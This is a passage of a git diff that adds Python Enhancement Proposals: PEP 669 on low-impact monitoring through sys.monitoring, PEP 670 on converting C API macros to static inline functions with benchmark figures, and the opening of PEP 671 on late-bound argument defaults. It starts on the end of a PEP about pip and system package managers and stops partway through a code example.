safe`_ about pointing ``sudo pip`` at /usr/local +(which acknowledges that the changes still do not make ``sudo pip`` +completely safe), pip issues 5605_ ("Disable upgrades to existing +python modules which were not installed via pip") and 5722_ ("pip +should respect /usr/local") from 2018, and the post-PyCon US 2019 +discussion thread `Playing nice with external package managers`_. + +.. _`Debian bug 771794`: https://bugs.debian.org/771794 + +.. _`Making sudo pip safe`: https://fedoraproject.org/wiki/Changes/Making_sudo_pip_safe + +.. _5605: https://github.com/pypa/pip/issues/5605 + +.. _5722: https://github.com/pypa/pip/issues/5722 + +.. _`Playing nice with external package managers`: https://discuss.python.org/t/playing-nice-with-external-package-managers/1968 + +.. [#pip] https://pip.pypa.io/en/stable/ + +.. [#easy-install] https://setuptools.readthedocs.io/en/latest/deprecated/easy_install.html + (Note that the ``easy_install`` command was removed in + setuptools version 52, released 23 January 2021.) + +.. [#Conda] https://conda.io + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0669.rst b/pep-0669.rst new file mode 100644 index 00000000000..c81e5fc4b84 --- /dev/null +++ b/pep-0669.rst @@ -0,0 +1,418 @@ +PEP: 669 +Title: Low Impact Monitoring for CPython +Author: Mark Shannon +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 18-Aug-2021 +Post-History: 07-Dec-2021 + + +Abstract +======== + +Using a profiler or debugger in CPython can have a severe impact on +performance. Slowdowns by an order of magnitude are common. + +This PEP proposes an API for monitoring of Python programs running +on CPython that will enable monitoring at low cost. + +Although this PEP does not specify an implementation, it is expected that +it will be implemented using the quickening step of +:pep:`PEP 659 <659#quickening>`. + +A ``sys.monitoring`` namespace will be added, which will contain +the relevant functions and enum. + + +Motivation +========== + +Developers should not have to pay an unreasonable cost to use debuggers, +profilers and other similar tools. + +C++ and Java developers expect to be able to run a program at full speed +(or very close to it) under a debugger. +Python developers should expect that too. + +Rationale +========= + +The quickening mechanism provided by :pep:`659` provides a way to dynamically +modify executing Python bytecode. These modifications have little cost beyond +the parts of the code that are modified and a relatively low cost to those +parts that are modified. We can leverage this to provide an efficient +mechanism for monitoring that was not possible in 3.10 or earlier. + +By using quickening, we expect that code run under a debugger on 3.11 +should easily outperform code run without a debugger on 3.10. +Profiling will still slow down execution, but by much less than in 3.10. + + +Specification +============= + +Monitoring of Python programs is done by registering callback functions +for events and by activating a set of events. + +Activating events and registering callback functions are independent of each other. + +Events +------ + +As a code object executes various events occur that might be of interest +to tools. By activating events and by registering callback functions +tools can respond to these events in any way that suits them. +Events can be set globally, or for individual code objects. + +For 3.11, CPython will support the following events: + +* PY_CALL: Call of a Python function (occurs immediately after the call, the callee's frame will be on the stack) +* PY_RESUME: Resumption of a Python function (for generator and coroutine functions), except for throw() calls. +* PY_THROW: A Python function is resumed by a throw() call. +* PY_RETURN: Return from a Python function (occurs immediately before the return, the callee's frame will be on the stack). +* PY_YIELD: Yield from a Python function (occurs immediately before the yield, the callee's frame will be on the stack). +* PY_UNWIND: Exit from a Python function during exception unwinding. +* C_CALL: Call of a builtin function (before the call in this case). +* C_RETURN: Return from a builtin function (after the return in this case). +* RAISE: An exception is raised. +* EXCEPTION_HANDLED: An exception is handled. +* LINE: An instruction is about to be executed that has a different line number from the preceding instruction. +* INSTRUCTION -- A VM instruction is about to be executed. +* JUMP -- An unconditional jump in the control flow graph is reached. +* BRANCH -- A conditional branch is about to be taken (or not). +* MARKER -- A marker is hit + +More events may be added in the future. + +All events will be attributes of the ``Event`` enum in ``sys.monitoring``:: + + class Event(enum.IntFlag): + PY_CALL = ... + +Note that ``Event`` is an ``IntFlag`` which means that the events can be or-ed +together to form a set of events. + +Setting events globally +----------------------- + +Events can be controlled globally by modifying the set of events being monitored: + +* ``sys.monitoring.get_events()->Event`` + Returns the ``Event`` set for all the active events. + +* ``sys.monitoring.set_events(event_set: Event)`` + Activates all events which are set in ``event_set``. + +No events are active by default. + +Per code object events +---------------------- + +Events can also be controlled on a per code object basis: + +* ``sys.monitoring.get_local_events(code: CodeType)->Event`` + Returns the ``Event`` set for all the local events for ``code`` + +* ``sys.monitoring.set_local_events(code: CodeType, event_set: Event)`` + Activates all the local events for ``code`` which are set in ``event_set``. + +Local events add to global events, but do not mask them. +In other words, all global events will trigger for a code object, regardless of the local events. + + +Register callback functions +--------------------------- + +To register a callable for events call:: + + sys.monitoring.register_callback(event, func) + +``register_callback`` returns the previously registered callback, or ``None``. + +Functions can be unregistered by calling +``sys.monitoring.register_callback(event, None)``. + +Callback functions can be registered and unregistered at any time. + +Registering a callback function will generate a ``sys.audit`` event. + +Callback function arguments +''''''''''''''''''''''''''' + +When an active event occurs, the registered callback function is called. +Different events will provide the callback function with different arguments, as follows: + +* All events starting with ``PY_``: + + ``func(code: CodeType, instruction_offset: int)`` + +* ``C_CALL`` and ``C_RETURN``: + + ``func(code: CodeType, instruction_offset: int, callable: object)`` + +* ``RAISE`` and ``EXCEPTION_HANDLED``: + + ``func(code: CodeType, instruction_offset: int, exception: BaseException)`` + +* ``LINE``: + + ``func(code: CodeType, line_number: int)`` + +* ``JUMP`` and ``BRANCH``: + + ``func(code: CodeType, instruction_offset: int, destination_offset: int)`` + + Note that the ``destination_offset`` is where the code will next execute. + For an untaken branch this will be the offset of the instruction following + the branch. + +* ``INSTRUCTION``: + + ``func(code: CodeType, instruction_offset: int)`` + +* ``MARKER``: + + ``func(code: CodeType, instruction_offset: int, marker_id: int)`` + +Inserting and removing markers +'''''''''''''''''''''''''''''''''' + +Two new functions are added to the ``sys`` module to support markers. + +* ``sys.monitoring.insert_marker(code: CodeType, offset: int, marker_id=0: range(256))`` +* ``sys.monitoring.remove_marker(code: CodeType, offset: int)`` + +The ``marker_id`` has no meaning to the VM, +and is used only as an argument to the callback function. +The ``marker_id`` must in the range 0 to 255 (inclusive). + +Attributes of the ``sys.monitoring`` namespace +'''''''''''''''''''''''''''''''''''''''''''''' + +* ``class Event(enum.IntFlag)`` +* ``def get_events()->Event`` +* ``def set_events(event_set: Event)->None`` +* ``def get_local_events(code: CodeType)->Event`` +* ``def set_local_events(code: CodeType, event_set: Event)->None`` +* ``def register_callback(event: Event, func: Callable)->Optional[Callable]`` +* ``def insert_marker(code: CodeType, offset: Event, marker_id=0: range(256))->None`` +* ``def remove_marker(code: CodeType, offset: Event)->None`` + +Backwards Compatibility +======================= + +This PEP is fully backwards compatible, in the sense that old code +will work if the features of this PEP are unused. + +However, if it is used it will effectively disable ``sys.settrace``, +``sys.setprofile`` and :pep:`523` frame evaluation. + +If :pep:`523` is in use, or ``sys.settrace`` or ``sys.setprofile`` has been +set, then calling ``sys.monitoring.set_events()`` or +``sys.monitoring.set_local_events()`` will raise an exception. + +Likewise, if ``sys.monitoring.set_events()`` or +``sys.monitoring.set_local_events()`` has been called, then using :pep:`523` +or calling ``sys.settrace`` or ``sys.setprofile`` will raise an exception. + +This PEP is incompatible with ``sys.settrace`` and ``sys.setprofile`` +because the implementation of ``sys.settrace`` and ``sys.setprofile`` +will use the same underlying mechanism as this PEP. It would be too slow +to support both the new and old monitoring mechanisms at the same time, +and they would interfere in awkward ways if both were active at the same time. + +This PEP is incompatible with :pep:`523`, because :pep:`523` prevents the VM being +able to modify the code objects of executing code, which is a necessary feature. + +We may seek to remove ``sys.settrace`` and :pep:`523` in the future once the APIs +provided by this PEP have been widely adopted, but that is for another PEP. + +Performance +----------- + +If no events are active, this PEP should have a negligible impact on +performance. + +If a small set of events are active, e.g. for a debugger, then the overhead +of callbacks will be orders of magnitudes less than for ``sys.settrace`` and +much cheaper than using :pep:`523`. + +For heavily instrumented code, e.g. using ``LINE``, performance should be +better than ``sys.settrace``, but not by that much as performance will be +dominated by the time spent in callbacks. + +For optimizing virtual machines, such as future versions of CPython +(and ``PyPy`` should they choose to support this API), changing the set of +globally active events in the midst of a long running program could be quite +expensive, possibly taking hundreds of milliseconds as it triggers +de-optimizations. Once such de-optimization has occurred, performance should +recover as the VM can re-optimize the instrumented code. + +Security Implications +===================== + +Allowing modification of running code has some security implications, +but no more than the ability to generate and call new code. + +All the new functions listed above will trigger audit hooks. + +Implementation +============== + +This outlines the proposed implementation for CPython 3.11. The actual +implementation for later versions of CPython and other Python implementations +may differ considerably. + +The proposed implementation of this PEP will be built on top of the quickening +step of :pep:`PEP 659 <659#quickening>`. +Activating some events will cause all code objects to +be quickened before they are executed. + +For example, if the ``LINE`` event is turned on, then all instructions that +are at the start of a line will be replaced with a ``LINE_EVENT`` instruction. + +Note that this will interfere with specialization, which will result in some +performance degradation in addition to the overhead of calling the +registered callable. + +When the set of active events changes, the VM will immediately update +all code objects present on the call stack of any thread. It will also set in +place traps to ensure that all code objects are correctly instrumented when +called. Consequently changing the set of active events should be done as +infrequently as possible, as it could be quite an expensive operation. + +Other events, such as ``RAISE`` can be turned on or off cheaply, +as they do not rely on code instrumentation, but runtime checks when the +underlying event occurs. + +The exact set of events that require instrumentation is an implementation detail, +but for the current design, the following events will require instrumentation: + +* PY_CALL +* PY_RESUME +* PY_RETURN +* PY_YIELD +* C_CALL +* C_RETURN +* LINE +* INSTRUCTION +* JUMP +* BRANCH + +Implementing tools +================== + +It is the philosophy of this PEP that it should be possible for third-party monitoring +tools to achieve high-performance, not that it should be easy for them to do so. + +Converting events into data that is meaningful to the users is +the responsibility of the tool. + +All events have a cost, and tools should attempt to the use set of events +that trigger the least often and still provide the necessary information. + +Debuggers +--------- + +Inserting breakpoints +''''''''''''''''''''' + +Breakpoints can be inserted by using markers. For example:: + + sys.insert_marker(code, offset) + +Which will insert a marker at ``offset`` in ``code``, +which can be used as a breakpoint. + +To insert a breakpoint at a given line, the matching instruction offsets +should be found from ``code.co_lines()``. + +Breakpoints can be removed by removing the marker:: + + sys.remove_marker(code, offset) + +Stepping +'''''''' + +Debuggers usually offer the ability to step execution by a +single instruction or line. + +This can be implemented by inserting a new marker at the required +offset(s) of the code to be stepped to, +and by removing the current marker. + +It is the job of the debugger to compute the relevant offset(s). + +Attaching +''''''''' + +Debuggers can use the ``PY_CALL``, etc. events to be informed when +a code object is first encountered, so that any necessary breakpoints +can be inserted. + + +Coverage Tools +-------------- + +Coverage tools need to track which parts of the control graph have been +executed. To do this, they need to register for the ``PY_`` events, +plus ``JUMP`` and ``BRANCH``. + +This information can be then be converted back into a line based report +after execution has completed. + +Profilers +--------- + +Simple profilers need to gather information about calls. +To do this profilers should register for the following events: + +* PY_CALL +* PY_RESUME +* PY_THROW +* PY_RETURN +* PY_YIELD +* PY_UNWIND +* C_CALL +* C_RETURN + + +Line based profilers +'''''''''''''''''''' + +Line based profilers can use the ``LINE`` and ``JUMP`` events. +Implementers of profilers should be aware that instrumenting ``LINE`` +and ``JUMP`` events will have a large impact on performance. + +.. note:: + + Instrumenting profilers have significant overhead and will distort + the results of profiling. Unless you need exact call counts, + consider using a statistical profiler. + + +Rejected ideas +============== + +A draft version of this PEP proposed making the user responsible +for inserting the monitoring instructions, rather than have VM do it. +However, that puts too much of a burden on the tools, and would make +attaching a debugger nearly impossible. + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0670.rst b/pep-0670.rst new file mode 100644 index 00000000000..f5fadb94aac --- /dev/null +++ b/pep-0670.rst @@ -0,0 +1,670 @@ +PEP: 670 +Title: Convert macros to functions in the Python C API +Author: Erlend Egeberg Aasland , + Victor Stinner +Status: Final +Type: Standards Track +Content-Type: text/x-rst +Created: 19-Oct-2021 +Python-Version: 3.11 +Post-History: `20-Oct-2021 `__, + `08-Feb-2022 `__, + `22-Feb-2022 `__ +Resolution: https://mail.python.org/archives/list/python-dev@python.org/thread/QQFCJ7LR36RUZSC3WI6WZZMQVQ3ZI4MS/ + + +Abstract +======== + +Macros in the C API will be converted to static inline functions or +regular functions. This will help avoid macro pitfalls in C/C++, and +make the functions usable from other programming languages. + +To avoid compiler warnings, function arguments of pointer types +will be cast to appropriate types using additional macros. +The cast will not be done in the limited C API version 3.11: +users who opt in to the new limited API may need to add casts to +the exact expected type. + +To avoid introducing incompatible changes, macros which can be used as +l-value in an assignment will not be converted. + + +Rationale +========= + +The use of macros may have unintended adverse effects that are hard to +avoid, even for experienced C developers. Some issues have been known +for years, while others have been discovered recently in Python. +Working around macro pitfalls makes the macro code harder to read and +to maintain. + +Converting macros to functions has multiple advantages: + +* Functions don't suffer from macro pitfalls, for example the following + ones described in `GCC documentation + `_: + + - Misnesting + - Operator precedence problems + - Swallowing the semicolon + - Duplication of side effects + - Self-referential macros + - Argument prescan + - Newlines in arguments + + Functions don't need the following workarounds for macro + pitfalls, making them usually easier to read and to maintain than + similar macro code: + + - Adding parentheses around arguments. + - Using line continuation characters if the function is written on + multiple lines. + - Adding commas to execute multiple expressions. + - Using ``do { ... } while (0)`` to write multiple statements. + +* Argument types and the return type of functions are well defined. +* Debuggers and profilers can retrieve the name of inlined functions. +* Debuggers can put breakpoints on inlined functions. +* Variables have a well-defined scope. + +Converting macros and static inline functions to regular functions makes +these regular functions accessible to projects which use Python but +cannot use macros and static inline functions. + + +Specification +============= + +Convert macros to static inline functions +----------------------------------------- + +Most macros will be converted to static inline functions. + +The following macros will not be converted: + +* Object-like macros (i.e. those which don't need parentheses and + arguments). For example: + + * Empty macros. Example: ``#define Py_HAVE_CONDVAR``. + * Macros only defining a value, even if a constant with a well defined + type would be better. Example: ``#define METH_VARARGS 0x0001``. + +* Compatibility layer for different C compilers, C language extensions, + or recent C features. + Example: ``Py_GCC_ATTRIBUTE()``, ``Py_ALWAYS_INLINE``, ``Py_MEMCPY()``. +* Macros used for definitions rather than behavior. + Example: ``PyAPI_FUNC``, ``Py_DEPRECATED``, ``Py_PYTHON_H``. +* Macros that need C preprocessor features, like stringification and + concatenation. Example: ``Py_STRINGIFY()``. +* Macros which cannot be converted to functions. Examples: + ``Py_BEGIN_ALLOW_THREADS`` (contains an unpaired ``}``), ``Py_VISIT`` + (relies on specific variable names), Py_RETURN_RICHCOMPARE (returns + from the calling function). +* Macros which can be used as an l-value in assignments. This would be + an incompatible change and is out of the scope of this PEP. + Example: ``PyBytes_AS_STRING()``. +* Macros which have different return types depending on the code path + or arguments. + + +Convert static inline functions to regular functions +---------------------------------------------------- + +Static inline functions in the public C API may be converted to regular +functions, but only if there is no measurable performance impact of +changing the function. +The performance impact should be measured with benchmarks. + + +Cast pointer arguments +---------------------- + +Currently, most macros accepting pointers cast pointer arguments to +their expected types. For example, in Python 3.6, the ``Py_TYPE()`` +macro casts its argument to ``PyObject*``: + +.. code-block:: c + + #define Py_TYPE(ob) (((PyObject*)(ob))->ob_type) + +The ``Py_TYPE()`` macro accepts the ``PyObject*`` type, but also any +pointer types, such as ``PyLongObject*`` and ``PyDictObject*``. + +Functions are strongly typed, and can only accept one type of argument. + +To avoid compiler errors and warnings in existing code, when a macro is +converted to a function and the macro casts at least one of its arguments +a new macro will be added to keep the cast. The new macro +and the function will have the same name. + +Example with the ``Py_TYPE()`` +macro converted to a static inline function: + +.. code-block:: c + + static inline PyTypeObject* Py_TYPE(PyObject *ob) { + return ob->ob_type; + } + #define Py_TYPE(ob) Py_TYPE((PyObject*)(ob)) + +The cast is kept for all pointer types, not only ``PyObject*``. +This includes casts to ``void*``: removing a cast to ``void*`` would emit +a new warning if the function is called with a ``const void*`` variable. +For example, the ``PyUnicode_WRITE()`` macro casts its *data* argument to +``void*``, and so it currently accepts ``const void*`` type, even though +it writes into *data*. This PEP will not change this. + + +Avoid the cast in the limited C API version 3.11 +'''''''''''''''''''''''''''''''''''''''''''''''' + +The casts will be excluded from the limited C API version 3.11 and newer. +When an API user opts into the new limited API, they must pass the expected +type or perform the cast. + +As an example, ``Py_TYPE()`` will be defined like this: + +.. code-block:: c + + static inline PyTypeObject* Py_TYPE(PyObject *ob) { + return ob->ob_type; + } + #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 < 0x030b0000 + # define Py_TYPE(ob) Py_TYPE((PyObject*)(ob)) + #endif + + +Return type is not changed +-------------------------- + +When a macro is converted to a function, its return type must not change +to prevent emitting new compiler warnings. + +For example, Python 3.7 changed the return type of ``PyUnicode_AsUTF8()`` +from ``char*`` to ``const char*`` (`commit +`__). +The change emitted new compiler warnings when building C extensions +expecting ``char*``. This PEP doesn't change the return type to prevent +this issue. + + +Backwards Compatibility +======================= + +The PEP is designed to avoid C API incompatible changes. + +Only C extensions explicitly targeting the limited C API version 3.11 +must now pass the expected types to functions: pointer arguments are no +longer cast to the expected types. + +Function arguments of pointer types are still cast and return types are +not changed to prevent emitting new compiler warnings. + +Macros which can be used as l-value in an assignment are not modified by +this PEP to avoid incompatible changes. + + +Examples of Macro Pitfalls +========================== + +Duplication of side effects +--------------------------- + +Macros: + +.. code-block:: c + + #define PySet_Check(ob) \ + (Py_IS_TYPE(ob, &PySet_Type) \ + || PyType_IsSubtype(Py_TYPE(ob), &PySet_Type)) + + #define Py_IS_NAN(X) ((X) != (X)) + +If the *op* or the *X* argument has a side effect, the side effect is +duplicated: it executed twice by ``PySet_Check()`` and ``Py_IS_NAN()``. + +For example, the ``pos++`` argument in the +``PyUnicode_WRITE(kind, data, pos++, ch)`` code has a side effect. +This code is safe because the ``PyUnicode_WRITE()`` macro only uses its +3rd argument once and so does not duplicate ``pos++`` side effect. + +Misnesting +---------- + +Example of the `bpo-43181: Python macros don't shield arguments +`_. The ``PyObject_TypeCheck()`` +macro before it has been fixed: + +.. code-block:: c + + #define PyObject_TypeCheck(ob, tp) \ + (Py_IS_TYPE(ob, tp) || PyType_IsSubtype(Py_TYPE(ob), (tp))) + +C++ usage example: + +.. code-block:: c + + PyObject_TypeCheck(ob, U(f(c))) + +The preprocessor first expands it: + +.. code-block:: c + + (Py_IS_TYPE(ob, f(c)) || ...) + +C++ ``"<"`` and ``">"`` characters are not treated as brackets by the +preprocessor, so the ``Py_IS_TYPE()`` macro is invoked with 3 arguments: + +* ``ob`` +* ``f(c)`` + +The compilation fails with an error on ``Py_IS_TYPE()`` which only takes +2 arguments. + +The bug is that the *op* and *tp* arguments of ``PyObject_TypeCheck()`` +must be put between parentheses: replace ``Py_IS_TYPE(ob, tp)`` with +``Py_IS_TYPE((ob), (tp))``. In regular C code, these parentheses are +redundant, can be seen as a bug, and so are often forgotten when writing +macros. + +To avoid Macro Pitfalls, the ``PyObject_TypeCheck()`` macro has been +converted to a static inline function: +`commit `__. + + +Examples of hard to read macros +=============================== + +PyObject_INIT() +--------------- + +Example showing the usage of commas in a macro which has a return value. + +Python 3.7 macro: + +.. code-block:: c + + #define PyObject_INIT(op, typeobj) \ + ( Py_TYPE(op) = (typeobj), _Py_NewReference((PyObject *)(op)), (op) ) + +Python 3.8 function (simplified code): + +.. code-block:: c + + static inline PyObject* + _PyObject_INIT(PyObject *op, PyTypeObject *typeobj) + { + Py_TYPE(op) = typeobj; + _Py_NewReference(op); + return op; + } + + #define PyObject_INIT(op, typeobj) \ + _PyObject_INIT(_PyObject_CAST(op), (typeobj)) + +* The function doesn't need the line continuation character ``"\"``. +* It has an explicit ``"return op;"`` rather than the surprising + ``", (op)"`` syntax at the end of the macro. +* It uses short statements on multiple lines, rather than being written + as a single long line. +* Inside the function, the *op* argument has the well defined type + ``PyObject*`` and so doesn't need casts like ``(PyObject *)(op)``. +* Arguments don't need to be put inside parentheses: use ``typeobj``, + rather than ``(typeobj)``. + +_Py_NewReference() +------------------ + +Example showing the usage of an ``#ifdef`` inside a macro. + +Python 3.7 macro (simplified code): + +.. code-block:: c + + #ifdef COUNT_ALLOCS + # define _Py_INC_TPALLOCS(OP) inc_count(Py_TYPE(OP)) + # define _Py_COUNT_ALLOCS_COMMA , + #else + # define _Py_INC_TPALLOCS(OP) + # define _Py_COUNT_ALLOCS_COMMA + #endif /* COUNT_ALLOCS */ + + #define _Py_NewReference(op) ( \ + _Py_INC_TPALLOCS(op) _Py_COUNT_ALLOCS_COMMA \ + Py_REFCNT(op) = 1) + +Python 3.8 function (simplified code): + +.. code-block:: c + + static inline void _Py_NewReference(PyObject *op) + { + _Py_INC_TPALLOCS(op); + Py_REFCNT(op) = 1; + } + + +PyUnicode_READ_CHAR() +--------------------- + +This macro reuses arguments, and possibly calls ``PyUnicode_KIND`` multiple +times: + +.. code-block:: c + + #define PyUnicode_READ_CHAR(unicode, index) \ + (assert(PyUnicode_Check(unicode)), \ + assert(PyUnicode_IS_READY(unicode)), \ + (Py_UCS4) \ + (PyUnicode_KIND((unicode)) == PyUnicode_1BYTE_KIND ? \ + ((const Py_UCS1 *)(PyUnicode_DATA((unicode))))[(index)] : \ + (PyUnicode_KIND((unicode)) == PyUnicode_2BYTE_KIND ? \ + ((const Py_UCS2 *)(PyUnicode_DATA((unicode))))[(index)] : \ + ((const Py_UCS4 *)(PyUnicode_DATA((unicode))))[(index)] \ + ) \ + )) + +Possible implementation as a static inlined function: + +.. code-block:: c + + static inline Py_UCS4 + PyUnicode_READ_CHAR(PyObject *unicode, Py_ssize_t index) + { + assert(PyUnicode_Check(unicode)); + assert(PyUnicode_IS_READY(unicode)); + + switch (PyUnicode_KIND(unicode)) { + case PyUnicode_1BYTE_KIND: + return (Py_UCS4)((const Py_UCS1 *)(PyUnicode_DATA(unicode)))[index]; + case PyUnicode_2BYTE_KIND: + return (Py_UCS4)((const Py_UCS2 *)(PyUnicode_DATA(unicode)))[index]; + case PyUnicode_4BYTE_KIND: + default: + return (Py_UCS4)((const Py_UCS4 *)(PyUnicode_DATA(unicode)))[index]; + } + } + + +Macros converted to functions since Python 3.8 +============================================== + +This is a list of macros already converted to functions between +Python 3.8 and Python 3.11. +Even though some converted macros (like ``Py_INCREF()``) are very +commonly used by C extensions, these conversions did not significantly +impact Python performance and most of them didn't break backward +compatibility. + +Macros converted to static inline functions +------------------------------------------- + +Python 3.8: + +* ``Py_DECREF()`` +* ``Py_INCREF()`` +* ``Py_XDECREF()`` +* ``Py_XINCREF()`` +* ``PyObject_INIT()`` +* ``PyObject_INIT_VAR()`` +* ``_PyObject_GC_UNTRACK()`` +* ``_Py_Dealloc()`` + +Macros converted to regular functions +------------------------------------- + +Python 3.9: + +* ``PyIndex_Check()`` +* ``PyObject_CheckBuffer()`` +* ``PyObject_GET_WEAKREFS_LISTPTR()`` +* ``PyObject_IS_GC()`` +* ``PyObject_NEW()``: alias to ``PyObject_New()`` +* ``PyObject_NEW_VAR()``: alias to ``PyObjectVar_New()`` + +To avoid performance slowdown on Python built without LTO, +private static inline functions have been added to the internal C API: + +* ``_PyIndex_Check()`` +* ``_PyObject_IS_GC()`` +* ``_PyType_HasFeature()`` +* ``_PyType_IS_GC()`` + + +Static inline functions converted to regular functions +------------------------------------------------------- + +Python 3.11: + +* ``PyObject_CallOneArg()`` +* ``PyObject_Vectorcall()`` +* ``PyVectorcall_Function()`` +* ``_PyObject_FastCall()`` + +To avoid performance slowdown on Python built without LTO, a +private static inline function has been added to the internal C API: + +* ``_PyVectorcall_FunctionInline()`` + + +Incompatible changes +-------------------- + +While other converted macros didn't break the backward compatibility, +there is an exception. + +The 3 macros ``Py_REFCNT()``, ``Py_TYPE()`` and ``Py_SIZE()`` have been +converted to static inline functions in Python 3.10 and 3.11 to disallow +using them as l-value in assignment. It is an incompatible change made +on purpose: see `bpo-39573 `_ for +the rationale. + +This PEP does not propose converting macros which can be used as l-value +to avoid introducing new incompatible changes. + + +Performance concerns and benchmarks +=================================== + +There have been concerns that converting macros to functions can degrade +performance. + +This section explains performance concerns and shows benchmark results +using `PR 29728 `_, which +replaces the following static inline functions with macros: + +* ``PyObject_TypeCheck()`` +* ``PyType_Check()``, ``PyType_CheckExact()`` +* ``PyType_HasFeature()`` +* ``PyVectorcall_NARGS()`` +* ``Py_DECREF()``, ``Py_XDECREF()`` +* ``Py_INCREF()``, ``Py_XINCREF()`` +* ``Py_IS_TYPE()`` +* ``Py_NewRef()`` +* ``Py_REFCNT()``, ``Py_TYPE()``, ``Py_SIZE()`` + + +The benchmarks were run on Fedora 35 (Linux) with GCC 11 on a laptop with 8 +logical CPUs (4 physical CPU cores). + + +Static inline functions +----------------------- + +First of all, converting macros to *static inline* functions has +negligible impact on performance: the measured differences are consistent +with noise due to unrelated factors. + +Static inline functions are a new feature in the C99 standard. Modern C +compilers have efficient heuristics to decide if a function should be +inlined or not. + +When a C compiler decides to not inline, there is likely a good reason. +For example, inlining would reuse a register which requires to +save/restore the register value on the stack and so increases the stack +memory usage, or be less efficient. + +Benchmark of the ``./python -m test -j5`` command on Python built in +release mode with ``gcc -O3``, LTO and PGO: + +* Macros (PR 29728): 361 sec +- 1 sec +* Static inline functions (reference): 361 sec +- 1 sec + +There is **no significant performance difference** between macros and +static inline functions when static inline functions **are inlined**. + + +Debug build +----------- + +Performance in debug builds *can* suffer when macros are converted to +functions. This is compensated by better debuggability: debuggers can +retreive function names, set breakpoints inside functions, etc. + +On Windows, when Python is built in debug mode by Visual Studio, static +inline functions are not inlined. + +On other platforms, ``./configure --with-pydebug`` uses the ``-Og`` compiler +option on compilers that support it (including GCC and LLVM Clang). +``-Og`` means “optimize debugging experience”. +Otherwise, the ``-O0`` compiler option is used. +``-O0`` means “disable most optimizations”. + +With GCC 11, ``gcc -Og`` can inline static inline functions, whereas +``gcc -O0`` does not inline static inline functions. + +Benchmark of the ``./python -m test -j10`` command on Python built in +debug mode with ``gcc -O0`` (that is, compiler optimizations, +including inlining, are explicitly disabled): + +* Macros (PR 29728): 345 sec ± 5 sec +* Static inline functions (reference): 360 sec ± 6 sec + +Replacing macros with static inline functions makes Python +**1.04x slower** when the compiler **does not inline** static inline +functions. + +Note that benchmarks should not be run on a Python debug build. +Moreover, using link-time optimization (LTO) and profile-guided optimization +(PGO) is recommended for best performance and reliable benchmarks. +PGO helps the compiler to decide if functions should be inlined or not. + + +Force inlining +-------------- + +The ``Py_ALWAYS_INLINE`` macro can be used to force inlining. This macro +uses ``__attribute__((always_inline))`` with GCC and Clang, and +``__forceinline`` with MSC. + +Previous attempts to use ``Py_ALWAYS_INLINE`` didn't show any benefit, and were +abandoned. See for example `bpo-45094 `_ +"Consider using ``__forceinline`` and ``__attribute__((always_inline))`` on +static inline functions (``Py_INCREF``, ``Py_TYPE``) for debug build". + +When the ``Py_INCREF()`` macro was converted to a static inline +function in 2018 (`commit +`__), +it was decided not to force inlining. The machine code was analyzed with +multiple C compilers and compiler options, and ``Py_INCREF()`` was always +inlined without having to force inlining. The only case where it was not +inlined was the debug build. See discussion in `bpo-35059 +`_ "Convert ``Py_INCREF()`` and +``PyObject_INIT()`` to inlined functions". + + +Disabling inlining +------------------ + +On the other side, the ``Py_NO_INLINE`` macro can be used to disable +inlining. It can be used to reduce the stack memory usage, or to prevent +inlining on LTO+PGO builds, which generally inline code more aggressively: +see `bpo-33720 `_. The +``Py_NO_INLINE`` macro uses ``__attribute__ ((noinline))`` with GCC and +Clang, and ``__declspec(noinline)`` with MSC. + +This technique is available, though we currently don't know a concrete +function for which it would be useful. +Note that with macros, it is not possible to disable inlining at all. + + +Rejected Ideas +============== + +Keep macros, but fix some macro issues +-------------------------------------- + +Macros are always "inlined" with any C compiler. + +The duplication of side effects can be worked around in the caller of +the macro. + +People using macros should be considered "consenting adults". People who +feel unsafe with macros should simply not use them. + +These ideas are rejected because macros *are* error prone, and it is too easy +to miss a macro pitfall when writing and reviewing macro code. Moreover, macros +are harder to read and maintain than functions. + + +Post History +============ + +python-dev mailing list threads: + +* `Version 2 of PEP 670 - Convert macros to functions in the Python C API + `_ + (February 2022) +* `Steering Council reply to PEP 670 -- Convert macros to + functions in the Python C API + `_ + (February 2022) +* `PEP 670: Convert macros to functions in the Python C API + `_ + (October 2021) + + +References +========== + + +* `bpo-45490 `_: + [C API] PEP 670: Convert macros to functions in the Python C API + (October 2021). +* `What to do with unsafe macros + `_ + (March 2021). +* `bpo-43502 `_: + [C-API] Convert obvious unsafe macros to static inline functions + (March 2021). + + +Version History +=============== + +* Version 2: + + * Stricter policy on not changing argument types and return type. + * Better explain why pointer arguments require a cast to not emit new + compiler warnings. + * Macros which can be used as l-values are no longer modified by the + PEP. + * Macros having multiple return types are no longer modified by the + PEP. + * Limited C API version 3.11 no longer casts pointer arguments. + * No longer remove return values of macros "which should not have a + return value". + * Add "Macros converted to functions since Python 3.8" section. + * Add "Benchmark comparing macros and static inline functions" + section. + +* Version 1: First public version + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0671.rst b/pep-0671.rst new file mode 100644 index 00000000000..1aa8f780964 --- /dev/null +++ b/pep-0671.rst @@ -0,0 +1,216 @@ +PEP: 671 +Title: Syntax for late-bound function argument defaults +Author: Chris Angelico +Discussions-To: https://mail.python.org/archives/list/python-ideas@python.org/thread/UVOQEK7IRFSCBOH734T5GFJOEJXFCR6A/ +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 24-Oct-2021 +Python-Version: 3.11 +Post-History: `24-Oct-2021 `__, + `01-Dec-2021 `__ + +Abstract +======== + +Function parameters can have default values which are calculated during +function definition and saved. This proposal introduces a new form of +argument default, defined by an expression to be evaluated at function +call time. + + +Motivation +========== + +Optional function arguments, if omitted, often have some sort of logical +default value. When this value depends on other arguments, or needs to be +reevaluated each function call, there is currently no clean way to state +this in the function header. + +Currently-legal idioms for this include:: + + # Very common: Use None and replace it in the function + def bisect_right(a, x, lo=0, hi=None, *, key=None): + if hi is None: + hi = len(a) + + # Also well known: Use a unique custom sentinel object + _USE_GLOBAL_DEFAULT = object() + def connect(timeout=_USE_GLOBAL_DEFAULT): + if timeout is _USE_GLOBAL_DEFAULT: + timeout = default_timeout + + # 